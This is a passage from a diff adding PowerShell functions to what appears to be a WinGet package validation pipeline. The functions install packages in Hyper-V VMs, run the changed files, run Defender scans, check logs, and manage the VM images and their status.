$PackageIdentifier -PR $PR + } elseif (`$mainpackage.ExitCode -eq '-1978335216') { #arm64 package + Get-TrackerVMSetStatus 'Approved' + } else { + Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR + } + + Break; + } + $PostInstallPause + Function Get-ScanStep { + Get-TrackerVMSetStatus 'Scanning' -Package $PackageIdentifier -PR $PR + Out-Log 'Install complete, starting second filesystem scan.' + + `$files = '' + if (Test-Path `$RemoteFolder\files.txt) {#If we have a list of files to run - a relic from before automatic file gathering. + `$files = Get-Content `$RemoteFolder\files.txt + } else { + `$PostinstallFilesystem = &cmd /c 'dir C:\ /b /s' + `$PostinstallFileCount = `$PostinstallFilesystem.Count + Out-Log `"Completing postinstall filescan. Read `$PostinstallFileCount files, a difference of `$(`$PostinstallFileCount - `$PReinstallFileCount) files.`" + `$files = (Compare-Object `$PReinstallFilesystem `$PostinstallFilesystem | where {`$_.SideIndicator -eq '=>'}).inputobject + + `$list = 'AppRepository','assembly', 'CbsTemp', 'CryptnetUrlCache', 'CacheStorage', 'Cache_Data', 'Code Cache', 'DesktopAppInstaller', 'dump64a', 'EdgeCore', 'EdgeUpdate', 'EdgeWebView', 'ErrorDlg', 'ErrorDialog', 'Microsoft\\Edge\\Application', 'Microsoft\\Copilot', 'Microsoft.Copilot', 'Microsoft\\Defender', 'Microsoft\\Diagnosis', 'Microsoft\\Edge\\Temp', 'msedge', 'NativeImages', 'Prefetch', 'Provisioning', 'redis', 'servicing', 'ServiceProfiles', 'Start Menu', 'System32', 'SystemTemp', 'SysWOW64', 'unins', 'waasmedic', 'C:\\Windows', 'Windows\\Explorer', 'WinSxS' + + `$files = `$files -join ';' + foreach (`$item in `$list) { + `$files = `$files -replace `$item,`$removetoken + } + `$files = `$files -split ';' + `$files = `$files | Where-Object {`$_ -notmatch `$removetoken} | sort -unique + + } + + Out-Log `"Reading `$(`$files.Count) file changes in the last `$(((Get-Date) -`$InstallEnd).TotalSeconds) seconds. Starting bulk file execution:`" + `$files | Out-File 'C:\Users\user\Desktop\ChangedFiles.txt' + `$files | Select-String '[.]exe`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process `$_}catch{}}; + `$files | Select-String '[.]msi`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process `$_}catch{}}; + `$files | Select-String '[.]lnk`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process `$_}catch{}}; + + Out-Log `" = = = = End file list. Starting Defender scan. = = = = = `" + Start-MpScan; + + Out-Log `"Defender scan complete, closing windows...`" + Get-Process explorer -ErrorAction SilentlyContinue| where {`$_.id -ne `$explorerPid} | Stop-Process + Get-Process LiveCaptions -ErrorAction SilentlyContinue | Stop-Process + Get-Process Magnify -ErrorAction SilentlyContinue | Stop-Process -Force + Get-Process mip -ErrorAction SilentlyContinue | Stop-Process + Get-Process msedge -ErrorAction SilentlyContinue | Stop-Process -Force + Get-Process Narrator -ErrorAction SilentlyContinue | Stop-Process + Get-Process osk -ErrorAction SilentlyContinue | Stop-Process -Force + Get-Process powershell -ErrorAction SilentlyContinue | where {`$_.id -ne `$PID} | Stop-Process -force + + Get-process | Where-Object { `$_.mainwindowtitle -ne '' -and `$_.processname -notmatch '$packageName' -and `$_.processname -ne 'powershell' -and `$_.processname -ne 'WindowsTerminal' -and `$_.processname -ne 'csrss' -and `$_.processname -ne 'dwm'} | Stop-Process + #Get-Process | Where-Object {`$_.id -notmatch `$PID -and `$_.id -notmatch `$explorerPid -and `$_.processname -notmatch `$packageName -and `$_.processname -ne 'csrss' -and `$_.processname -ne 'dwm'} | Stop-Process + + `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) + `$DefenderThreat = (Get-MPThreat).ThreatName + `$SigVer = (Get-MpComputerStatus).QuickScanSignatureVersion + + Out-ErrorData `$WinGetLogs 'WinGet' + Out-ErrorData '$MDLog' 'Manual' 'Dependency' + Out-ErrorData `$Error 'PowerShell' + Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' + Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$SigVer)`" + + if (`$DefenderThreat) { + Send-SharedError -clip (`$WinGetLogs + ' ' + '`n' + 'Detection: ' + `$DefenderThreat + '`n' + 'Defender Security Intelligence version: ' + `$SigVer) + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR + } elseif ((`$WinGetLogs -match '\[FAIL\] Installer failed security check.') -OR + (`$WinGetLogs -match 'Package hash verification failed') -OR + (`$WinGetLogs -match 'Operation did not complete successfully because the file contains a virus or potentially unwanted software')){ + Send-SharedError -clip (`$WinGetLogs + ' ') + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR + } elseif ((`$WinGetLogs -match 'The multi file manifest has inconsistent field values') -OR + (`$WinGetLogs -match 'valid root file')) { + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Out-Log $WinGetLogs + Get-TrackerVMSetStatus 'Complete' -Package $PackageIdentifier -PR $PR + } elseif ((Get-Content $RemoteTrackerModeFile) -eq 'IEDS') { + Out-Log `" = = = = Auto-Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'Approved' -Package $PackageIdentifier -PR $PR + } elseif ((Get-TrackerVMStatus | where {`$_.vm -match `$VM}).Mode -eq 'Existing') { + Out-Log `" = = = = Auto-Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'Approved' -Package $PackageIdentifier -PR $PR + } elseif ((Get-TrackerVMStatus | where {`$_.vm -match `$VM}).Mode -eq 'New') { + Out-Log `" = = = = Attempting Auto-Completion of Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR + Get-installedVersions + } else { + Start-Process PowerShell + Out-Log `" = = = = Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR + } + }; + Get-ScanStep + + + " + }#end Scan + Default { + Write-Host "Error: Bad Function" + Break; + } + } + $cmdsOut | Out-File $CmdsFileName + + if ($NoFiles -eq $False) { + if ($VM) { + $SplitManifest = Get-ManifestSplitter -PackageIdentifier $PackageIdentifier -PackageVersion $PackageVersion -OutputToVariable + + $InstallerFile = Get-ManifestValidation -StrArray $SplitManifest.installer -NoRun + Write-Host "InstallerFile $InstallerFile" + Get-ManifestFile -InstallerFile $InstallerFile -VM $VM + + $SplitManifest.remove("installer") + $root = $SplitManifest.Root + $SplitManifest.remove("root") + [string[]]$SplitManifestValues = $SplitManifest.values + $SplitManifestValues | %{ + $InstallerFile = Get-ManifestValidation -StrArray $_ -NoRun + Write-Host "InstallerFile $InstallerFile" + Get-ManifestFile -InstallerFile $InstallerFile -VM $VM + } + $InstallerFile = Get-ManifestValidation -StrArray $root -NoRun + Write-Host "InstallerFile $InstallerFile" + Get-ManifestFile -InstallerFile $InstallerFile -VM $VM + }#end if VM + }#end if NoFiles + if (!($Silent)) {Write-Host "File operations complete, starting VM operations."} + Get-TrackerVMLaunchWindow $VM + } + if (!$NoStaleCheck) {Get-StaleVMCheck} + }#end if PackageIdentifier +} + +Function Get-TrackerVMValidateByID { + Param( + [string]$PackageIdentifier + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByID $PackageIdentifier"}; + $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier + Get-TrackerVMValidate -installerLine "--id $PackageIdentifier" -PackageIdentifier $PackageIdentifier -NoFiles #-notElevated +} + +Function Get-TrackerVMValidateByConfig { + Param( + $PackageIdentifier = "Microsoft.Devhome", + $ManualDependency = "Git.Git" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByConfig $PackageIdentifier"}; + $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier + Get-TrackerVMValidate -installerLine "--id $PackageIdentifier" -PackageIdentifier $PackageIdentifier -NoFiles -ManualDependency $ManualDependency -Operation "DevHomeConfig" + Start-Sleep $Enum.Num.Two + Get-TrackerVMValidate -installerLine "--id $ManualDependency" -PackageIdentifier $ManualDependency -NoFiles -Operation "Config" +} + +Function Get-TrackerVMValidateByArch { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByArch Start"}; + Get-TrackerVMValidate -Arch $Enum.Arch.64; + Start-Sleep $Enum.Num.Two; + Get-TrackerVMValidate -Arch $Enum.Arch.86; +} + +Function Get-TrackerVMValidateByScope { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByScope Start"}; + Get-TrackerVMValidate -Scope Machine; + Start-Sleep $Enum.Num.Two; + Get-TrackerVMValidate -Scope User; +} + +Function Get-TrackerVMValidateBothArchAndScope { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateBothArchAndScope Start"}; + Get-TrackerVMValidate -Arch $Enum.Arch.64 -Scope Machine; + Start-Sleep $Enum.Num.Two; + Get-TrackerVMValidate -Arch $Enum.Arch.86 -Scope Machine; + Start-Sleep $Enum.Num.Two; + Get-TrackerVMValidate -Arch $Enum.Arch.64 -Scope User; + Start-Sleep $Enum.Num.Two; + Get-TrackerVMValidate -Arch $Enum.Arch.86 -Scope User; +} + +#Manifests Etc +Function Get-InstallerFileAutomation { + Param( + [int]$PR + ) + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-InstallerFileAutomation $PR2"}; + [string[]]$InstallerFile = (Get-CommitFile -PR $PR2) + Get-SingleFileAutomation -PR $PR2 -InstallerFile $InstallerFile +} + +Function Get-SingleFileAutomation { + Param( + [int]$PR, + [string[]]$InstallerFile, + [string[]]$InputData = ($InstallerFile -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), + [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), + $version = ((Get-YamlValue $Enum.ManifestKeys.PackageVersion -InputArray $InstallerFile) | Get-RemoveQuotes), + $Filenames = (Get-ManifestListing $PackageIdentifier), + [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) + ) + $PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SingleFileAutomation $PR2"}; + for ($File = 0; $File -lt $Filenames.Length; $File++) { + Write-Host "SingleFileAutomation $PR2 - $File for VM $VM" + $InstallerFile = (Get-FileFromGitHub -PackageIdentifier $PackageIdentifier -Version $version -Suffix $Filenames[$File]) + Get-ManifestFile -InstallerFile $InstallerFile -PR $PR2 -PackageIdentifier $PackageIdentifier + } +} + +Function Get-ManifestFile { + Param( + [int]$VM = (Get-NextFreeVM), + [string[]]$InstallerFile, + [string]$FileName = "Package", + # [string]$PackageIdentifier = (Get-SchemaCheck -InputData $InstallerFile -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), + [string]$PackageIdentifier = (Get-YamlValue -Key $Enum.ManifestKeys.PackageIdentifier -InputArray ($InstallerFile -split "`n")), + [int]$PR, + [string]$Arch, + [string]$OS, + [string]$Scope, + [switch]$Display + ); + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestFile $VM"}; + if ($VM) { + if ($Display) {Write-Output "InstallerFile: $InstallerFile"} + $VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData $VM) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + #Write-Output "PackageIdentifier: $PackageIdentifier" + $manifestFolder = "$MainFolder\vm\$VM\manifest" + $InstallerFile = $InstallerFile | Where-Object {$_ -notmatch $Enum.Strings.MarkedThisConversationAsResolved} + + $YamlValue = (Get-YamlValue $Enum.ManifestVersionProperties.ManifestType -InputArray ($InstallerFile -split "`n")) + if ($Display) {Write-Output "YamlValue: $YamlValue"} + switch ($YamlValue) { + $Enum.ManifestFileTypes.defaultLocale { + $Locale = (Get-YamlValue PackageLocale -InputArray ($InstallerFile -split "`n")) + $FileName = "$FileName.locale.$Locale" + } + $Enum.ManifestFileTypes.Locale { + $Locale = (Get-YamlValue PackageLocale -InputArray ($InstallerFile -split "`n")) + $FileName = "$FileName.locale.$Locale" + } + $Enum.ManifestFileTypes.installer { + Get-RemoveFileIfExist "$manifestFolder" -remake + $FileName = "$FileName.installer" + } + $Enum.ManifestFileTypes.version { + if ($Arch) { + Get-TrackerVMValidate -vm $VM -NoFiles -Arch $Arch -PR $PR -PackageIdentifier $PackageIdentifier + } elseif ($OS) { + Get-TrackerVMValidate -vm $VM -NoFiles -OS $OS -PR $PR -PackageIdentifier $PackageIdentifier + } elseif ($Scope) { + Get-TrackerVMValidate -vm $VM -NoFiles -Scope $Scope -PR $PR -PackageIdentifier $PackageIdentifier + } else { + Get-TrackerVMValidate -vm $VM -NoFiles -PR $PR -PackageIdentifier $PackageIdentifier + } + } + Default { + Write-Output "Error: Bad ManifestType" + Return + } + } + $FilePath = "$manifestFolder\$FileName.yaml" + Write-Output "Writing $($InstallerFile.Length) lines to $FilePath" + # $InstallerFile -replace "0New version: ","0" -replace "0Add version: ","0" -replace "0Add ","0" -replace "0New ","0" | Out-File $FilePath -Encoding unicode + $InstallerFile | Out-File $FilePath -Encoding unicode + return $VM + } +} + +Function Get-ManifestListing {#Uses an unauthenticatable endpoint, so consumes unauthenticated API limits. + Param( + [string]$PackageIdentifier, + [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), + $VersionNumber, + [string]$Path = ($PI -replace "[.]",$Enum.Char.Slash), + [string]$FirstLetter = ($PI[$Enum.Index.First].tostring().tolower()), + [string]$Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/$VersionNumber/", + [Switch]$ListVersions + ) + $PackageIdentifier = $PI + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestListing $PackageIdentifier"}; + If ($ListVersions) { + $Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/" + } else { + Write-Host "$($MyInvocation.MyCommand.name) $PackageIdentifier" + If (!($VersionNumber)) { + $VersionNumber = Get-ManifestVersion -PackageIdentifier $PackageIdentifier + } + $Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/$VersionNumber/" + } + try{ + $out = (Invoke-GitHubRequest -Uri $Uri -JSON).name + }catch{ + $out = $Enum.Words.Error + } + $PackageIdentifier = $PackageIdentifier -replace "\+","\+" + $out = $out -replace "$($PackageIdentifier)[.]",$Enum.Char.Blank + return $out +} + +Function Get-ManifestVersion { + Param( + [string]$PackageIdentifier, + $VersionNumber, + [switch]$Display + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestVersion $PackageIdentifier"}; + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + $Invo = $($MyInvocation.MyCommand.name) + if ($Display) {Write-Host "$Invo"} + $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + if ($GhRlRemain -le 0) { + $WinGetOutput = Find-WinGetPackage $PackageIdentifier | where {$_.id -ceq $PackageIdentifier} + if ($Display) {Write-Host "$Invo - WinGetOutput: $WinGetOutput"} + $VersionNumber = $WinGetOutput.version + if ($Display) {Write-Host "$Invo - VersionNumber: $VersionNumber"} + } else { + [array]$ListVersions = (Get-ManifestListing -PackageIdentifier $PackageIdentifier -ListVersions) + if ($Display) {Write-Host "$Invo - ListVersions: $(ListVersions.count)"} + if ($ListVersions[$Enum.Index.First] -gt $ListVersions[$Enum.Index.Last]) {#Attempt to fix inferior GitHub version sorting. + $VersionNumber = $ListVersions[$Enum.Index.First] + if ($Display) {Write-Host "$Invo - First VersionNumber: $VersionNumber"} + } else { + $VersionNumber = $ListVersions[$Enum.Index.Last] + if ($Display) {Write-Host "$Invo - Last VersionNumber: $VersionNumber"} + }#end if ListVersions + }#end if DataSource + return $VersionNumber +} + +Function Get-OSFromVersion { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-OSFromVersion Start"}; + $Enum.VMOS.Win11 +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################## - VM - ################################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +#VM Image Management +<# VM Infrastructure: +- Image VM is named with the OS. This is kept turned off when not being updated. +- Copy of Image VM is made, and Pipeline VMs generated from it. To prevent locking issues with Image VM files. +- Pipeline VMs are named with an incrementing number. Expectation is for the system to have between 3-9 of these, depending on available RAM. + +Process: +- Build image manually - have been using Hyper-V Quick Create images. +- Delete old image VM before running Get-ImageVMMove. This will both move the storage drives to the correct location, and also rename the image VM to the OS name. +- Complete building image. Checkpoint with Get-ImageVMStop. +- Build new with Get-PipelineVmGenerate. +- There's ALWAYS a problem with the first build. +- Restart image VM with Get-ImageVMStart. +- If it was an OS issue, fix it. (Sometimes it's a hardware or copying issue. If one of these, skip this step.) +- Checkpoint with Get-ImageVMStop again. +- Build new with Get-PipelineVmGenerate again. +- Keep going through the lsat 4 steps until you get a working build. +- Let Get-TrackerVMRunTracker take over at this point. It will build until your RAM is full. +#> + +Function Get-PipelineVmGenerate { + Param( + [int]$VM = (Get-Content $VMCounter), + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + [int]$version = (Get-TrackerVMVersion -OS $OS), + $destinationPath = "$imagesFolder\$VM\", + $VMFolder = "$MainFolder\vm\$VM", + $newVmName = ("vm$VM"), + $startTime = (Get-Date) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PipelineVmGenerate $VM"}; + Test-Admin + Write-Host "Creating VM $newVmName version $version OS $OS" + [int]$VM + 1|Out-File $VMCounter + "`"$VM`",`"Generating`",`"$version`",`"$OS`",`"`",`"1`",`"Creation`",`"0`""|Out-File $StatusFile -Append -Encoding unicode + Get-RemoveFileIfExist $destinationPath -remake + Get-RemoveFileIfExist $VMFolder -remake + $VMImageFolder = (ls "$imagesFolder\$OS-image\Virtual Machines\" *.vmcx).fullname + + $ImportEst = (get-date).AddSeconds(400).ToString($Enum.Char.T) + Write-Host "Takes about 400 seconds. (Until $($ImportEst).) Beginning import..." + Import-VM -Path $VMImageFolder -Copy -GenerateNewId -VhdDestinationPath $destinationPath -VirtualMachinePath $destinationPath; + $ImportSeconds = ((Get-Date)-$startTime).TotalSeconds + if ($ImportSeconds -gt 30) { + Write-Host "Import complete, taking $ImportSeconds seconds. Renaming..." + Rename-VM (Get-VM | Where-Object {($_.CheckpointFileLocation)+$Enum.Char.Backslash -eq $destinationPath}) -NewName $newVmName + Write-Host $Enum.Strings.RenameCompleteStarting + Start-VM $newVmName + Write-Host $Enum.Strings.StartingVmAndCleaningUpCheckpoints + Remove-VMCheckpoint -VMName $newVmName -Name "Backup" + Write-Host $Enum.Strings.RevertingVm + Get-TrackerVMRevert $VM + Write-Host $Enum.Strings.LaunchingVMWindowHandingOffToOrchestration + Get-TrackerVMLaunchWindow $VM + Write-Host "Took $ImportSeconds seconds." + } else { + Write-Host "Error: $ImportSeconds seconds is too short. Disgnenerating vm $VM" + Get-TrackerVMSetStatus -Status $Enum.VMStatus.Disgenerate -VM $VM + } +} + +Function Get-PipelineVmDisgenerate { + Param( + [Parameter(mandatory = $True)][int]$VM, + $destinationPath = "$imagesFolder\$VM\", + $VMFolder = "$MainFolder\vm\$VM", + $VMName = ("vm$VM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PipelineVmDisgenerate $VM"}; + if ($VM -gt 0) { + Test-Admin + Get-TrackerVMSetStatus $Enum.VMStatus.Disgenerate $VM + Get-ConnectedVM | Where-Object {$_.vm -match $VMName} | ForEach-Object {Stop-Process -id $_.id} + Stop-TrackerVM $VM + Remove-VM -Name $VMName -Force + + $out = Get-Status + $out = $out | Where-Object {$_.vm -notmatch $VM} + Write-Status $out + + $delay = 15 + 0..$delay | ForEach-Object { + $pct = $_ / $delay * 100 + Write-Progress -Activity "Remove VM" -Status "$_ of $delay" -PercentComplete $pct + Start-Sleep $GitHubRateLimitDelay + } + Get-RemoveFileIfExist $destinationPath + Get-RemoveFileIfExist $VMFolder + Write-Progress -Activity "Remove VM" -Completed + } +} + +Function Get-ImageVMStart { + Param( + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11 + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMStart $OS"}; + Test-Admin + $VM = 0 + Start-VM $OS; + Get-TrackerVMRevert $VM $OS; + Get-TrackerVMLaunchWindow $VM $OS +} + +Function Get-ImageVMStop { + Param( + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11 + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMStop $OS"}; + Test-Admin + $VM = 0 + $OriginalLoc = $Enum.Char.Blank + # switch ($OS) { + # $Enum.VMOS.Win10 { + # $OriginalLoc = $Win10Folder + # } + # $Enum.VMOS.Win11 { + # } + # } + $OriginalLoc = $Win11Folder + $ImageLoc = "$imagesFolder\$OS-image\" + [int]$version = [int](Get-TrackerVMVersion -OS $OS) + 1 + Write-Host "Writing $OS version $version" + Get-TrackerVMSetVersion -Version $Version -OS $OS + Stop-Process -id ((Get-ConnectedVM)|Where-Object {$_.VM -match "$OS"}).id -ErrorAction Ignore + Redo-Checkpoint $VM $OS; + Stop-TrackerVM $VM $OS; + Write-Host $Enum.Strings.LettingVmCool + Start-Sleep 30; + Robocopy.exe $OriginalLoc $ImageLoc -mir +} + +Function Get-ImageVMMove { + Param( + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + $CurrentVMName = $Enum.Char.Blank, + $newLoc = "$imagesFolder\$OS-Created$(get-date -f MMddyy)-Original" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMMove $OS"}; + Test-Admin + # switch ($OS) { + # $Enum.VMOS.Win10 { + # $CurrentVMName = "Windows 10 MSIX packaging environment" + # } + # $Enum.VMOS.Win11 { + # } + # } + $CurrentVMName = $Enum.Strings.Win11DevEnv + $VM = Get-VM | where {$_.Name -match $CurrentVMName} + Move-VMStorage -VM $VM -DestinationStoragePath $newLoc + Rename-VM -VM $VM -NewName $OS +} + +#VM Pipeline Management +Function Get-TrackerVMLaunchWindow { + Param( + [Parameter(mandatory = $True)][int]$VM, + $VMName = ("vm$VM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMLaunchWindow $VM"}; + Test-Admin + Get-ConnectedVM | Where-Object {$_.vm -match $VMName} | ForEach-Object {Stop-Process -id $_.id} + C:\Windows\System32\vmconnect.exe localhost $VMName +} + +Function Get-TrackerVMRevert { + Param( + [Parameter(mandatory = $True)][int]$VM, + $VMName = ("vm$VM"), + [Switch]$Silent + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRevert $VM"}; + Test-Admin + if ($Silent) { + Get-TrackerVMSetStatus $Enum.VMStatus.Restoring $VM -Silent + } else { + Get-TrackerVMSetStatus $Enum.VMStatus.Restoring $VM + } + Restore-VMCheckpoint -Name $CheckpointName -VMName $VMName -Confirm:$False + if ($Silent) { + Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM -Silent + } else { + Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM + } +} + +Function Complete-TrackerVM { + Param( + [Parameter(mandatory = $True)][int]$VM, + $VMFolder = "$MainFolder\vm\$VM", + $filesFileName = "$VMFolder\files.txt" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Complete-TrackerVM $VM"}; + Test-Admin + Get-TrackerVMSetStatus $Enum.VMStatus.Completing $VM + Stop-Process -id ((Get-ConnectedVM)|Where-Object {$_.VM -match ("vm$VM")}).id -ErrorAction Ignore + Stop-TrackerVM $VM + Get-RemoveFileIfExist $filesFileName + Get-TrackerVMRevert $VM -Silent + Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM $Enum.Char.Space 1 $Enum.VMStatus.Ready +} + +Function Stop-TrackerVM { + Param( + [Parameter(mandatory = $True)][int]$VM, + $VMName = ("vm$VM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Stop-TrackerVM $VM"}; + Test-Admin + Stop-VM $VMName -TurnOff +} + +#VM Status +Function Get-TrackerVMSetStatus { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus)} )][string]$Status = $Enum.VMStatus.Complete, + [Parameter(mandatory = $True)]$VM, + [string]$PackageIdentifier, + [Parameter(ValueFromPipeline)][int]$PR, + [ValidateScript( { $_ -in (Get-Keys $Enum.VmModes)} )][string]$Mode, + [Switch]$Silent + ) + + $out = Get-Status + if ($VM -notmatch $Enum.Strings.Win) { + if ($Status) { + ($out | Where-Object {$_.vm -eq $VM}).Status = $Status + } + if ($PackageIdentifier) { + # $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + ($out | Where-Object {$_.vm -eq $VM}).Package = $PackageIdentifier + } + if ($PR) { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + ($out | Where-Object {$_.vm -eq $VM}).PR = $PR + } + if ($Mode) { + ($out | Where-Object {$_.vm -eq $VM}).Mode = $Mode + } + if ($Silent) { + Write-Status $out -Silent + } else { + + Write-Status $out + Write-Host "Setting $VM $PackageIdentifier $PR state $Status" + }; #end if Status + }; #end if VM +} + +Function Get-Status { + Param( + [int]$VM, + [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus) } )][string]$Status, + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS, + [string]$PackageIdentifier, + [Parameter(ValueFromPipeline)][int]$PR, + [ValidateScript( { $_ -in (Get-Keys $Enum.VmModes)} )][string]$Mode, + $RAM, + $out = (Get-Content $StatusFile | ConvertFrom-Csv) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMSetStatus $VM"}; + if ($VM) {$out = ($out | Where-Object {$_.vm -eq $VM})} + if ($Status) {$out = ($out | Where-Object {$_.Status -eq $Status})} + if ($OS) {$out = ($out | Where-Object {$_.OS -eq $OS})} + if ($PackageIdentifier) { + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + $out = ($out | Where-Object {$_.Package -eq $PackageIdentifier}) + } + if ($PR) { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + $out = ($out | Where-Object {$_.PR -eq $PR}) + } + if ($Mode) {$out = ($out | Where-Object {$_.Mode -eq $Mode})} + if ($RAM) {$out = ($out | Where-Object {$_.RAM -eq $RAM})} + Return $out +} + +Function Get-TrackerVMResetStatus { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) 